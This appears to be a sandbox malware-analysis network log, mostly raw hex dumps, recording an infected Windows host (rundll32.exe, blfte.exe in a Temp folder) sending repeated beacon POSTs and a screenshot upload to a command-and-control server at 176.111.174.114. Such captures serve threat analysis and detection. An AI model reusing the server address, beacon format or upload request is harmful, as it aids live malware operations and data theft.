>WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:54.853682995 CEST	10520	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:54.853749037 CEST	10525	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:54.854034901 CEST	10528	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:54.854084015 CEST	10531	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:54.854449987 CEST	10534	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:54.854548931 CEST	10536	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:54.854752064 CEST	10539	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:54.854909897 CEST	10542	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:54.855321884 CEST	10544	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW
Apr 28, 2021 23:23:54.956415892 CEST	10547	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.2.5	50058	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.813457966 CEST	10517	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49742	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.601192951 CEST	1593	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
580	176.111.174.114	80	192.168.2.5	50058	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.916783094 CEST	10545	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
581	192.168.2.5	50059	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.127253056 CEST	10690	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
582	176.111.174.114	80	192.168.2.5	50057	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.167260885 CEST	10691	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
583	176.111.174.114	80	192.168.2.5	50059	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.235496044 CEST	10691	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
584	192.168.2.5	50061	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.457472086 CEST	10692	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
585	176.111.174.114	80	192.168.2.5	50061	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.554533958 CEST	10693	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
586	192.168.2.5	50062	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.768412113 CEST	10693	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
587	176.111.174.114	80	192.168.2.5	50062	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:55.869884014 CEST	10694	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
588	192.168.2.5	50063	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.079135895 CEST	10694	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
589	176.111.174.114	80	192.168.2.5	50063	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.181020021 CEST	10695	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	176.111.174.114	80	192.168.2.5	49742	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.702991962 CEST	1600	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
590	192.168.2.5	50064	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.391988039 CEST	10695	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
591	176.111.174.114	80	192.168.2.5	50064	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.494988918 CEST	10696	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
592	192.168.2.5	50066	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.704073906 CEST	10696	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
593	176.111.174.114	80	192.168.2.5	50066	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:56.811294079 CEST	10697	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
594	192.168.2.5	50067	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.011343956 CEST	10697	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
595	176.111.174.114	80	192.168.2.5	50067	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.108695030 CEST	10698	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
596	192.168.2.5	50068	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.310587883 CEST	10698	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
597	176.111.174.114	80	192.168.2.5	50068	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.409627914 CEST	10699	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
598	192.168.2.5	50069	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.627202988 CEST	10699	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
599	192.168.2.5	50070	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:57.704416037 CEST	10713	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 